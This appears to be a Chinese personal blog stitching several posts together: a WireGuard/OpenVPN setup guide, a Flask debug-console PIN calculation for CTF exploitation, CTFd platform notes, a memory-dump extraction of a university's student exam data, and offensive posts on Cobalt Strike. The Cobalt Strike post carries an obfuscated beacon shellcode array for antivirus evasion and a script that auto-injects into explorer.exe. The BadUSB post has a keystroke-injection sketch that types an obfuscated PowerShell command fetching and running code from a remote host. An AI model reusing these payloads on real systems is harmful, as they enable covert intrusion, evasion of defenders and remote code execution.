【运维】Wireguard+OpenVPN解决跨地区VPN的连接稳定性问题

首先我们要搞清楚一个问题,Wireguard和OpenVPN的区别在哪里

  1. Wireguard基于UDP协议,继承于内核中,由于加密协议简单(但安全),开销较小,性能较高

  2. OpenVPN基于TCP或UDP协议,由SSL/TLS实现身份加密,没有Wireguard效率高,但是支持多种管理方式

在实际使用上,TCP和UDP也有较大区别

  1. TCP:可以提供更可靠的连接,因为它具有确认和重传机制,能够处理丢包和错误。适用于对数据完整性和可靠性要求较高的场景。

  2. UDP:UDP可以提供更快的速度和较低的延迟,适用于实时应用程序和视频流等对延迟敏感的情况。UDP模式还可以避免TCP拥塞控制的限制,适用于高带宽环境

UDP在实际使用上可能会被QOS限速,但是在长距离、高延迟的VPN环境中还是可以发挥不错的效果,不容易出现TCP经常断连的情况。

实现方案

在某个实际应用场景中,我需要将在B地不同地区访问位于A地的局域网,A地与B地物理相隔较远并且网络条件较差,但是对业务实时性没有太多要求,并且A地存在NAT

方案一

全部走OpenVPN,对A-B两地互联的机器使用UDP协议,确保可以通讯
B地对B地其他地区使用TCP协议,确保连接稳定性
方案一可以参考
Windows上使用OpenVPN实现于异地访问公司内网资源(Tunnel方式、公网服务器frp转发)

方案二

在A-B两地之间使用Wireguard
在B地服务器是用OpenVPN供B地其他地区使用
网络结构如下

A地内网<--->A地服务器<- Wireguard-UDP ->B地服务器<- OpenVPN TCP/UCP ->B地其他地区用户

两方案相比,方案一更加简单,但是没有方案二稳定,并且AB两地如果存在高带宽情况用OpenVPN可能会消耗大量资源,在技术难度上方案二要设置转发,需要对两个VPN进行分别配置
最终选择方案二进行

Wireguard部分

脚本安装(建议)

安装OpenVPN(好像Wireguard也可以这样用,但是是端对端的,配置转发也很麻烦,所以不建议使用脚本了)

wget https://git.io/wireguard -O wireguard-install.sh && bash wireguard-install.sh

安装后我们直接导入服务端即可,然后在服务端执行

\#/etc/wireguard/wg0.conf
sudo wg-quick up wg0
sudo systemctl enable wg-quick@wg0

如果出现有转发问题可以手动加入下方手动安装中的

PreUp = iptables -A FORWARD -i tun0 -j ACCEPT; iptables -A FORWARD -o tun0 -j ACCEPT; iptables -t nat -A POSTROUTING -o wg0 -j MASQUERADE
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -A FORWARD -o wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o ens18 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -D FORWARD -o wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o ens18 -j MASQUERADE

手动安装

安装wireguard并开启内核转发,其中在linux内核版本大于5.6时(Ubuntu为大于5.4)wireguard-dkms有可能已经继承进内核中,就无需再安装了

sudo apt-get update
sudo apt-get install wireguard wireguard-dkms wireguard-tools -y
sudo vi /etc/sysctl.conf
#将net.ipv4.ip_forward=0改成net.ipv4.ip_forward=1
#或者将net.ipv4.ip_forward=1注释去除
sysctl -w net.ipv4.ip_forward=1

生成密钥并且写入配置文件(注意最后出来的公钥)
在正常的Peer(对等)模式下,需要定义每个对等方的配置信息,包括公钥、IP地址、端口号等

对等端不能使用同样的密钥,不然会和我一样debug一晚上

(umask 077 && printf "[Interface]\nPrivateKey = " | sudo tee /etc/wireguard/wg0.conf > /dev/null)
wg genkey | sudo tee -a /etc/wireguard/wg0.conf | wg pubkey | sudo tee /etc/wireguard/publickey

将配置文件补充完整,端口默认就是51820,记得在防火墙放行对应端口,由于我们其中一方无法访问到另一方,我们就将在公网的当作服务端,NAT后的为客户端,服务端可以不设置EndPoint

sudo vi /etc/wireguard/wg0.conf
#/etc/wireguard/wg0.conf
[Interface]
PrivateKey = <自动生成的不用手动填写>
Address = 10.0.0.1/24
#客户端则为Address = 10.0.0.2/24
PreUp = iptables -A FORWARD -i tun0 -j ACCEPT; iptables -A FORWARD -o tun0 -j ACCEPT; iptables -t nat -A POSTROUTING -o wg0 -j MASQUERADE
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -A FORWARD -o wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o ens18 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -D FORWARD -o wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o ens18 -j MASQUERADE
#自动设置网卡转发
ListenPort = 51820

[Peer]
PublicKey = <填写对等端的公钥,或者cat /etc/wireguard/publickey>
AllowedIPs = 10.0.0.2/32,<要转发的网段>
#客户端则为Address = 10.0.0.1/32,10.8.0.0/24(下方OpenVPN的网段)
Endpoint = <服务端的IP地址>:51820
#上面的Endpoint服务端不用写
PersistentKeepalive = 25
#保持NAT映射关系

然后启用wireguard

sudo wg-quick up wg0

OpenVPN部分

如果使用UDP网络较差建议更换成TCP

UDP相比于TCP连接稳定性相对较差,但是为什么wireguard要用UDP呢。
因为相比于连接稳定性差,我更在意能不能连上!

脚本安装(建议)

安装OpenVPN(好像Wireguard也可以这样用,但是是端对端的,配置转发也很麻烦,所以不建议使用脚本了)

wget https://git.io/vpn -O openvpn-install.sh && bash openvpn-install.sh
#wget https://git.io/wireguard -O wireguard-install.sh && bash wireguard-install.sh

下载下来后直接设置,全部默认后修改配置

vi /etc/openvpn/server/server.conf
#v/etc/openvpn/server/server.conf
push "route 10.0.0.0 255.255.0.0"
push "route <要转发的网段> <网段对应的掩码>"
#增加上述两句即可

新建的ovpn文件可以把remote修改成自己的域名,方便随时修改dns记录

手动安装

其实上方的Wireguard是我在写博客的中途手动安装的,吃了不少屎,所以我就不再吃一次了
所以我放下几个链接
OpenVPN配置使用
OpenVPN服务部署及使用文档
基于 WireGuard 和 OpenVPN 的混合云基础架构建设

成果

通过OpenVPN成功连接并且访问学校内网

碎碎念

在那天晚上,我调代码调到了5点多,由于转发一直不生效,我在怀疑是不是不应该使用Wireguard+OpenVPN这种组合方式进行,一度想转为全OpenVPN形式。
Tracert也没有消息,服务端在两协议上都是能连通的,让人百思不得其解。
头疼(生理上的),吃药(赶紧睡觉)
睡到7点多,起来发现,挂在后台的ping居然ping通了,tracert也能正常跟踪网关了,重启了一下也正常。
莫非是遇上了自己会修bug的linux了吗

Flask调试模式PIN值计算和利用

这是一段简单的Flask代码

from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
    return "Hello World"
app.run(debug=True)

我们开启了调试模式,与此同时控制台输出

> python test.py
 * Serving Flask app 'test'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:5000
Press CTRL+C to quit
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: XXX-XXX-XXX

访问”/”路由是正常的

但是我们还可以访问一个调试模式下的特殊路由,即使你没有设置过

填入上方控制台的PIN码即可执行Python命令

在计算PIN码之前,我们要知道,Flask的PIN码计算仅与werkzeug的debug模块有关。
与Python版本无关!!!
werkzeug低版本使用MD5,高版本使用SHA1,现在绝大多数都是高版本的利用
werkzeug1.0.x低版本
werkzeug2.1.x高版本
这里直接借用Pysnow的源码分析

# 前面导入库部分省略


# PIN有效时间,可以看到这里默认是一周时间
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


_machine_id: t.Optional[t.Union[str, bytes]] = None

# 获取机器id
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""
        # !!!!!!!!
        # 获取machine-id或/proc/sys/kernel/random/boot_id
        # machine-id其实是机器绑定的一种id
        # boot-id是操作系统的引导id
        # docker容器里面可能没有machine-id
        # 获取到其中一个值之后就break了,所以machine-id的优先级要高一些
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue
            if value:
                # 这里进行的是字符串拼接
                linux += value
                break

        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
                # 获取docker的id
                # 例如:11:perf_event:/docker/2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8
                # 则只截取2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8拼接到后面
        except OSError:
            pass
        if linux:
            return linux

        # OS系统的
        {}

        # 下面是windows的获取方法,由于使用得不多,可以先不管
        if sys.platform == "win32":
            {}
    # 最终获取machine-id
    _machine_id = _generate()
    return _machine_id
# 总结一下,这个machine_id靠三个文件里面的内容拼接而成

class _ConsoleFrame:
    def __init__(self, namespace: t.Dict[str, t.Any]):
        self.console = Console(namespace)
        self.id = 0


def get_pin_and_cookie_name(
    app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:

    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    # 获取环境变量WERKZEUG_DEBUG_PIN并赋值给pin
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin
    # 使用getattr(app, "__module__", t.cast(object, app).__class__.__module__)获取modname,其默认值为flask.app
    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: t.Optional[str]

    try:
        # 获取username的值通过getpass.getuser()
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # 此信息的存在只是为了使cookie在
    # 计算机,而不是作为一个安全功能。
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ] # 这里又多获取了两个值,appname和moddir
    # getattr(app, "__name__", type(app).__name__):appname,默认为Flask
    # getattr(mod, "__file__", None):moddir,可以根据报错路劲获取,

    # 这个信息是为了让攻击者更难
    # 猜猜cookie的名字。它们不太可能被控制在任何地方
    # 在未经身份验证的调试页面中。
    private_bits = [str(uuid.getnode()), get_machine_id()]
    # 获取uuid和machine-id,通过uuid.getnode()获得
    h = hashlib.sha1()
    # 使用sha1算法,这是python高版本和低版本算pin的主要区别
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # 如果我们需要做一个大头针,我们就多放点盐,这样就不会
    # 以相同的值结束并生成9位数字
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num
    # 这就是主要的pin算法,脚本可以直接照抄这部分代码
    return rv, cookie_name

生成条件

probably_public_bits

有如下四个变量:

username
modname
getattr(app, 'name', app.class.name)
getattr(mod, 'file', None)
-----------------------------------
username:通过/etc/passwd这个文件去猜
modname:getattr(app, "module", t.cast(object, app).class.module)获取,不同版本的获取方式不同,但默认值都是flask.app
appname:通过getattr(app, 'name', app.class.name)获取,默认值为Flask
moddir:flask所在的路径,通过getattr(mod, 'file', None)获得,题目中一般通过查看debug报错信息获得

private_bits

有如下三个变量:

uuid
machine-id

-----------------------------------
uuid:
网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过读取/sys/class/net/eth0/address获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。
例:00:16:3e:03:8f:39 => 95529701177
也可以直接跑print(int("00:16:3e:03:8f:39".replace(":",""),16))
machine-id:
machine-id是通过**三个文件**里面的内容经过处理后拼接起来

1. /etc/machine-id(一般仅非docker机有,截取全文)
2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)
3. /proc/self/cgroup(一般仅docker有,**仅截取最后一个斜杠后面的内容**)
# 例如:11:perf_event:/docker/docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope
# 则只截取docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope拼接到后面
文件12按顺序读,**12只要读到一个**就可以了,1读到了,就不用读2了。
文件3如果存在的话就截取,不存在的话就不用管
最后machine-id=(文件1或文件2)+文件3(存在的话)

之前做题的时候被别人博客关于machine-id的部分误导了,重要的部分我在上面都打上了星号,有些docker机器是存在12这两个文件的,例如某些k8s的CTF靶场

最后把上面的信息结合下,用下面两个脚本可以算出PIN值

低版本(werkzeug1.0.x)

import hashlib
from itertools import chain

probably_public_bits = [
    'root'#username,通过/etc/passwd
    'flask.app',#modname,默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.7/site-packages/flask/app.py'# moddir,通过报错获得
]

private_bits = [
    '25214234362297',  # mac十进制值 /sys/class/net/ens0/address
    '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'  # 低版本直接/etc/machine-id
]

# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
        else:
            rv = num

print(rv)

高版本(werkzeug>=2.0.x)

import hashlib
from itertools import chain

probably_public_bits = [
    'root'#/etc/passwd
    'flask.app',#默认值
    'Flask',#默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py'#moddir,报错得到
]

private_bits = [
    '2485377568585',/sys/class/net/eth0/address 十进制
    '653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'
    #看上面machine-id部分
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

题目就不复现了,2023/7月的DAS,es_flask就是简单的原型链污染,但是这个flask折磨了很久,没有吃透源码被博客坑惨了
只要有任意文件读+Flask的调试模式就可以做

参考资料

Pysnow-https://pysnow.cn/archives/170/

【日记】写在最后

不知不觉任职已经快一年了。电协也已经走过了属于它的第二十七个年头。
2022年5月27日,我用着同样的PPT,与21级的各位,将生活和电协联系在了一起。
不知道大家是否还记得这个教室,在这里,我遇见了你们,我们的故事从这里开始,兜兜转转走过繁忙的四季,留下了弥足珍贵的回忆,最后又回到这里,这可能就是所谓的缘分吧。
此刻,是华章,亦是序章,我们的故事并不会就此结束,只是长江后浪推前浪,我相信你们有能力做的更好










【CTFd】靶场安装与配置(同时支持Whale+Owl+AWD的Docker一键配置版v2)

V2更新了一些小东西
!!!NeedStar!!!Github-CTFd-docker
该版本的CTFd全部运行在docker中,并且通过映射unix在docker里面控制宿主机的docker,以管理docker动态容器。使用该项目可以在5-10min之内构建出支持动态容器的靶场。
旧的文章-【CTFd】靶场安装与配置(Docker一键配置版)
前面一段时间,想基于CTFd进行二开一下。有不少前辈给CTFd写过插件,例如赵总的Whale,H1ve的Owl,和支持AWD的glowworm。
他们写的插件各有好处,Whale支持swarm的部署,Owl支持docker-compose(暂时不支持swarm,后面可以改,不过暂时没空),glowworm是目前唯一一个AWD插件。其中Whale和Owl都以来与Frp进行流量转发,通过不断重载frpc的配置实现,但是他们两个插件并不是增量刷新,而是以直接覆盖的形式进行。于是我整合了两个插件的内容和,让他们共用一个frps模块(现在才想到为什么不能用两个呢,但是这就要两个域名了不是吗)。
然而事情不是一帆风顺的,在修改了插件的目录结构后,整个插件都不能正常初始化了,还得对他们进行依赖的修改。然后对旧版的owl插件进行一定的修改,使用了新版的docker-compose工具以支持swarm的使用。
TODO: owl插件更新swarm支持
另外作为一个安全平台,不更新到最新版本的CTFd内核总是有点不太合适,于是更新到了CTFd 3.5.2版本,也修改了不少安装流程,优化了安装体验,可以在docker-compose里面自定义域名等,也会自动生成密钥不容易被攻击。

同时也测试了很多不同系统,也用该系统在本校新生赛中构建了一个全新的靶场,体验很棒。
小记而已,暂时就这样了。

内存DUMP数据的一些尝试

近期某大学在公告版中发送了查询学生考场的EXE文件,一开始我以为是钓鱼的,后来经多方确认属实。

经过断网确认后可知,数据打包在应用内部。
首先尝试了binwalk/foremost无过,只分离出一些bmp文件
拖进IDA,找到动态链接库但是显示unknowlib,静态数据中也没有相关信息。
这里可以采用的方式有两个
1. IDA动态调试
2. DUMP内存

这里使用的是第二种方法,DUMP内存有多种方法,可以采用VS的DEBUG工具进行内存DUMP,但是我们借助任务管理器简单创建完整的转储文件。

Task Manager->Processes->Right Click->Create dump file


通过WinHex查看转储文件,存在相应的明文数据
数据头为
“`… … 49 00 43 00 4F 00 4E 00“`


数据尾为
“`06 00 00 00“`


写脚本提取后分隔导出为csv文件即可
下面为Payload

with open('memory.dmp', 'rb') as f:
    data = f.read()
head=data.find(b'M\x00A\x00I\x00N\x00I\x00C\x00O\x00N\x00')
data=data[head+16:]
tail=data.find(b'\x06\x00\x00\x00')
data=data[:tail]
data=data.split(b'\x0d\x0a')
with open('memory.csv', 'w') as f:
    for item in data:
        item=item.decode('gbk')
        f.write(item.replace('@',',')+'\n')

原本为了保护学生隐私的设计反而最终成为了泄露隐私的地方。
这里的信息还包括身份证后三位,也就是说我们可以通过户籍地+生日反推出最后一位。
具体有如下解决方法:
不存储明文,只存储加盐后的学号+姓名+身份证后三位的哈希/md5信息再查询,最后的是为什么不能在线查呢?很急。

PS1:后缀改成txt可以直接读出数据
PS2:用Notepad++以GB2312读写可以直接读出所有数据

【CS】Cobalt Strick的Malleable2 C2配置以及PowerShell免杀

Malleable2 C2配置

首先,我从一开始就踩了个坑,CS不应该是个开箱即用的东西吗,仔细一想,不对,那样的话流量特征不就明明白白了吗,这里需要用到Malleable C2 Profile。

Malleable Command and Control可拓展的命令和控制
M主要用来控制Cobalt Strike Beacon攻击载荷中的网络参数,也就是说我们可以通过这个伪装/混淆我们的流量。在一些复杂场景中可以更好的规避防火墙。
这里有一个Github项目Malleable-C2里面有现成的配置文件,你也可以自己改一个,我选择了之前学长发我的一份伪装成某度的配置文件进行使用。
如果不用这个混淆流量的话,CS造的PowerShell的马即使能免杀,在后续下发指令的时候也会被Windows Defender给杀掉。
在Listener里面我们也要使用https这种加密的流量,更好绕过防火墙

PowerShell免杀

首先,我们对生成的Payload进行一定研究,发现FromBase64String这个函数应该是被拉黑了,只要处理到这个就报毒。所以我们可以吧Base64转换为字节码的形式进行绕过。
示例如下

#Base64
[Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbKsCMjI3lrquJim5giIyNuEupicmJySSBicmKZdKq85dz2yFp4a6riaxLxaqr7bhLqcUsjEeOncXFimch2DRjc9muq5Wug4HNJKXxrqtKZPCMjI0kjS6MQIyNqqsNimicjIyNimVZlvaXc9muq0muq+Wrk49zc3NxuEupxcWKZDiU7WNz2puMspr4iIyNr3Owsp68iIyPIkMrHIiMjy6Hc3NwMWmZmeSMZiB2igppanzPzKbfJJRlTyoktE2nscMHTAIS+bHHl5m/j94zr470Z7uh4ScS0kioVJEmwllHt5njNKhTkeLayeow+4o2TcENKI3ZQRlEOYkRGTVcZA25MWUpPT0IMFg0TAwtATE5TQldKQU9GGANucGpmAxITDRMYA3RKTUdMVFADbXcDFQ0RGAN0bHQVFxgDd1FKR0ZNVwwVDRMYA3dMVkBLGANuYm9gaXAKLikjAikoLPonSzhbqQDoC5KwV9PMupbmG49FOlnPw2VqyA74Y46b6zCUIZgHz5/a7bH42YCNxRUm5b/XUiSBe1Ch/9Oq9MQqRPZkwCCT88HLQU32K+4oDoRh5ZrUEut7YQFkTuF/kadzF3Wjao01O3MA9AFfJWl+uN5PDAJnRNLW0cPG8yUr8HG7zmK1bVvluiN9CFEKPyTROTyywfn5CPQ0iv1mc0HBNAUmyOGV+z3P4tv3eO7RhmzDlnzzlGtkFgim7UyQ7gqeEQWheiNindOWgXXc9msS6pkjI2MjYpsjMyMjYppjIyMjYpl7h3DG3PZrsHBwa6rEa6rSa6r5YpsjAyMjaqraYpkxtarB3PZroOcDpuNXlUWoJGsi4KbjVvR7e3trJiMjIyNz4Mtc3tzcEhoRDRIVGw0REBoNERcaIxn9S5I=')
#字节码混淆后
[Byte[]]$PRZNAMJgM = [Byte[]](223,107,160,199,211,203,235,35,35,35,98,114,98,115,113,114,117,107,18,241,70,107,168,113,67,107,168,113,59,107,168,113,3,107,168,81,115,107,44,148,105,105,110,18,234,107,18,227,143,31,66,95,33,15,3,98,226,234,46,98,34,226,193,206,113,98,114,107,168,113,3)
[Byte[]]$qXHbRRolRZZT = [Byte[]](168,97,31,107,34,243,69,162,91,59,40,33,86,81,168,163,171,35,35,35,107,166,227,87,68,107,34,243,115,168,107,59,103,168,99,3,106,34,243,192,117,107,220,234,98,168,23,171,107,34,245,110,18,234,107,18,227,143,98,226,234,46,98,34,226,27,195,86,210,111,32)
[Byte[]]$ckKZjMGmMr = [Byte[]](111,7,43,102,26,242,86,251,123,103,168,99,7,106,34,243,69,98,168,47,107,103,168,99,63,106,34,243,98,168,39,171,107,34,243,98,123,98,123,125,122,121,98,123,98,122,98,121,107,160,207,3,98,113,220,195,123,98,122,121,107,168,49,202,108,220,220,220,126,73,35)
[Byte[]]$vvTYnbPAP = [Byte[]](106,157,84,74,77,74,77,70,87,35,98,117,106,170,197,111,170,210,98,153,111,84,5,36,220,246,107,18,234,107,18,241,110,18,227,110,18,234,98,115,98,115,98,153,25,117,90,132,220,246,202,176,35,35,35,121,107,170,226,98,155,152,34,35,35,110,18,234,98,114,98)
[Byte[]]$oDOZGtzgSPfbKla = [Byte[]](114,73,32,98,114,98,153,116,170,188,229,220,246,200,90,120,107,170,226,107,18,241,106,170,251,110,18,234,113,75,35,17,227,167,113,113,98,153,200,118,13,24,220,246,107,170,229,107,160,224,115,73,41,124,107,170,210,153,60,35,35,35,73,35,75,163,16,35,35,106,170)
[Byte[]]$gufwnOAtfMhSa = [Byte[]](195,98,154,39,35,35,35,98,153,86,101,189,165,220,246,107,170,210,107,170,249,106,228,227,220,220,220,220,110,18,234,113,113,98,153,14,37,59,88,220,246,166,227,44,166,190,34,35,35,107,220,236,44,167,175,34,35,35,200,144,202,199,34,35,35,203,161,220,220,220,12)
[Byte[]]$VijLlpTL = [Byte[]](90,102,102,121,35,25,136,29,162,130,154,90,159,51,243,41,183,201,37,25,83,202,137,45,19,105,236,112,193,211,0,132,190,108,113,229,230,111,227,247,140,235,227,189,25,238,232,120,73,196,180,146,42,21,36,73,176,150,81,237,230,120,205,42,20,228,120,182,178,122,140)
[Byte[]]$qmNNXvweeMJMH = [Byte[]](62,226,141,147,112,67,74,35,118,80,70,81,14,98,68,70,77,87,25,3,110,76,89,74,79,79,66,12,22,13,19,3,11,64,76,78,83,66,87,74,65,79,70,24,3,110,112,106,102,3,18,19,13,19,24,3,116,74,77,71,76,84,80,3,109,119,3,21,13,17,24)
[Byte[]]$uJyFfILlJHJfVoEZhHkrFaMHrh = [Byte[]](3,116,108,116,21,23,24,3,119,81,74,71,70,77,87,12,21,13,19,24,3,119,76,86,64,75,24,3,110,98,111,96,105,112,10,46,41,35,2,41,40,44,250,39,75,56,91,169,0,232,11,146,176,87,211,204,186,150,230,27,143,69,58,89,207,195,101,106,200,14,248)
[Byte[]]$CyVhsFXsPf = [Byte[]](99,142,155,235,48,148,33,152,7,207,159,218,237,177,248,217,128,141,197,21,38,229,191,215,82,36,129,123,80,161,255,211,170,244,196,42,68,246,100,192,32,147,243,193,203,65,77,246,43,238,40,14,132,97,229,154,212,18,235,123,97,1,100,78,225,127,145,167,115,23,117)
[Byte[]]$glxAhgUznZWUI = [Byte[]](163,106,141,53,59,115,0,244,1,95,37,105,126,184,222,79,12,2,103,68,210,214,209,195,198,243,37,43,240,113,187,206,98,181,109,91,229,186,35,125,8,81,10,63,36,209,57,60,178,193,249,249,8,244,52,138,253,102,115,65,193,52,5,38,200,225,149,251,61,207,226)
[Byte[]]$HTAAzLNjfk = [Byte[]](219,247,120,238,209,134,108,195,150,124,243,148,107,100,22,8,166,237,76,144,238,10,158,17,5,161,122,35,98,157,211,150,129,117,220,246,107,18,234,153,35,35,99,35,98,155,35,51,35,35,98,154,99,35,35,35,98,153,123,135,112,198,220,246,107,176,112,112,107,170,196)
[Byte[]]$HeDjjuDz = [Byte[]](107,170,210,107,170,249,98,155,35,3,35,35,106,170,218,98,153,49,181,170,193,220,246,107,160,231,3,166,227,87,149,69,168,36,107,34,224,166,227,86,244,123,123,123,107,38,35,35,35,35,115,224,203,92,222,220,220,18,26,17,13,18,21,27,13,17,16,26,13,17,23)
[Byte[]]$XOdUFuGpKi = [Byte[]](26,35,25,253,75,146)
[Byte[]]$jbMpyHdkOCXCCucode = $PRZNAMJgM + $qXHbRRolRZZT + $ckKZjMGmMr + $vvTYnbPAP + $oDOZGtzgSPfbKla + $gufwnOAtfMhSa + $VijLlpTL + $qmNNXvweeMJMH + $uJyFfILlJHJfVoEZhHkrFaMHrh + $CyVhsFXsPf + $glxAhgUznZWUI + $HTAAzLNjfk + $HeDjjuDz + $XOdUFuGpKi

这里有Github的自动化脚本MyBypassAV_ps1.py,不仅可以转换字节码,也可以用随机字符串混淆函数和变量。
混淆了之后就可以基本免杀了,为什么说是基本呢,因为还是有概率在和C2通讯的时候被杀毒Kill掉(可能流量特征还没清干净吧),所以呢我们要尽早转移进程(也怕被看到一个黑框框在这被关掉了)
所以我在C2配置中将session的sleep时间改成了200ms
在通讯的第一次就设置插件自动转移进程,只要在Client中加载AutoSpawn.cna这个文件即可
他可以在第一次通讯200ms之内将进程迁移至explorer.exe并且将新旧session的sleep时间改成5s避免被发现。

#AutoSpawn.cna
on beacon_initial
{
    sub callback
    {
        $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
        $listener = "https";
        if ($2 ismatch $regex)
        {
            $pid = matched()[1];
            $inject_pid = $pid;
            if (-is64 $1)
            {
                $arch = "x64";
            }
            else
            {
                $arch = "x86";
            }
            binject($1, $pid, $listener, $arch);
            bsleep($1, 5, 37);
        }
    }
    if($inject_pid != beacon_info($1,"pid"))
    {
        bps($1, &callback);
    }
    else{
        bsleep($1, 5, 37);
    }
}

效果如图

即实现免杀+自动迁移功能了,badusb终于可以用了。

【近源】Badusb的使用

之前在某公众号看到一篇关于Badusb做近源渗透的文章,之前看过很多的这类设计。本质上Badusb就是用一个单片机模拟出一个键盘,通过键盘键入恶意指令,可以绕过防火墙和不少杀毒软件。
由于自己设计太麻烦了,芯片虽然是有现成的,但是还要买装芯片的壳之类的,太麻烦了。反正只是研究的作用,就某宝上买了一个现成的。
我买的芯片是Leonardo USB ATMEGA32U4,金属外壳的比较好看捏,这个主控主要的问题是Flash太小了,刷的东西多一点都装不下(不过好像也就写个shell进去麻,不用写太多东西)
程序在Arduino中编写

这里参考了某公众号上的Payload,用alias别名和^拼接绕过,在代码上还做了一点修改。
步骤变成了

Win+M(最小化)->Win+R(运行)->按下CapsLock锁定大小写->输入CMD->输入PAYLOAD

最小化可以避免把payload输进其他应用,大小写锁定主要为了避免中文输入法干扰

void setup() {
  Keyboard.begin();
  delay(4500);
  Keyboard.press(KEY_LEFT_GUI);
  delay(200); 
  Keyboard.press('m');
  delay(200); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('m');
  delay(200); 
  Keyboard.press(KEY_LEFT_GUI);
  delay(200); 
  Keyboard.press('r');
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  delay(500); 
  Keyboard.println(F("cmd"));
  delay(1000); 
  Keyboard.println(F("cmd /c echo set-alias -name xz -value IEX;x^z (New-Object \"NeT.WeBClienT\").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://192.16'+'8.239'+'.249'+'/1') | p^o^w^e^r^s^h^e^l^l -"));
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();
}
void loop()
{
}

关于url为什么是http://192.168.239.249/1,要/1用数字不是其他字母呢。
